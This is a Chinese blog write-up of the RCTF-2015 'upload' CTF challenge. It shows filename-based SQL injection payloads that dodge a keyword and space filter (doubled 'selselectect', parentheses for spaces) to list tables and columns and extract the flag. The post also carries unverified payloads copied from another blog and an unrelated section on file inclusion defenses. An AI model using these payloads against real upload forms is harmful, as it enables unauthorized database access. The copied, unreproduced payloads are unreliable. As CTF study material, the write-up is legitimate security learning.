攻防世界WEB进阶之upload

第一步:分析

难度系数: 1星
题目来源: RCTF-2015
题目描述:暂无
脑洞很大的一题,首先题目什么都没给出,进入场景,注册自己的账号,登录出现文件上传,上传很多文件都显示文件后缀不行,如实使用burpsuite的intruder功能,遍历众多文件列表,发现只有jpg文件可以上传,好吧,那就只上传它。

第二步:实操

接着进行文件上传,上传之后,文件名回显并且给出了一个id值用户的ID。
至此已经毫无头绪了,遂百度,有相关文章显示了使用sql文件名注入的方式实现。本人经过复现,发现其实场景是禁止了空格的传输,尝试很多种代替空格的办法。最后尝试到括号是可行的。
harry_jpg’,‘1660’,‘1660’),((database()),‘1660’,‘1660’)#.jpg文件名可以回显出数据库的名称
“harry_’,‘1660’,‘1660’),((SELSELECTECT(table_name)FRFROMOM(information_schema.tables)WHERE(table_schema=‘web_upload’)),‘1660’,‘1660’)#.jpg” 查询表名称的回显语句,仅仅返回了harry_的文件名其他未返回。
其他语句暂时未拼出,等待大佬解答。


  • 分割线

以下内容摘自某人博客,因为无法复现,所以没有贴出链接
(1)查表名
lethe’,‘1660’,‘1660’),((selselectect(table_name) frfromom information_schema.tables where table_schema = ‘web_upload’),‘1660’,‘1660’)#.jpg
lethe’,‘1660’,‘1660’),((%20selselectect%20group_concat(table_name)%20frfromom%20information_schema.tables%20where%20table_schema=‘web_upload’),‘1660’,‘1660’)#.jpg
lethe’,‘1660’,‘1660’),((//selselectect//group_concat(table_name)//frfromom//information_schema.tables//where//table_schema=‘web_upload’),‘1660’,‘1660’)#.jpg
lethe’,‘1660’,‘1660’),(((1=0)selselectect(1=0)group_concat(table_name)(1=0)frfromom(1=0)information_schema.tables(1=0)where(1=0)table_schema=‘web_upload’),‘1660’,‘1660’)#.jpg
(2)查列名
lethe’,‘1660’,‘1660’),(( seselectlect group_concat(column_name) frfromom information_schema.columns where table_name= ‘hello_flag_is_here’ ),‘1660’,‘1660’)#.jpg
lethe’,‘1660’,‘1660’),((SELSELECTECT(GROUP_CONCAT(column_name))FRFROMOM(information_schema.columns)WHERE(table_name=‘hello_flag_is_here’),‘1660’,‘1660’)#.jpg
(3)查flag
lethe’,‘1660’,‘1660’),(( seselectlect i_am_flag frfromom hello_flag_is_here),‘1660’,‘1660’)#.jpg

第三步:答案

最终的flag为:RCTF{!!_@m_Th.e_F!lag}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问题。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值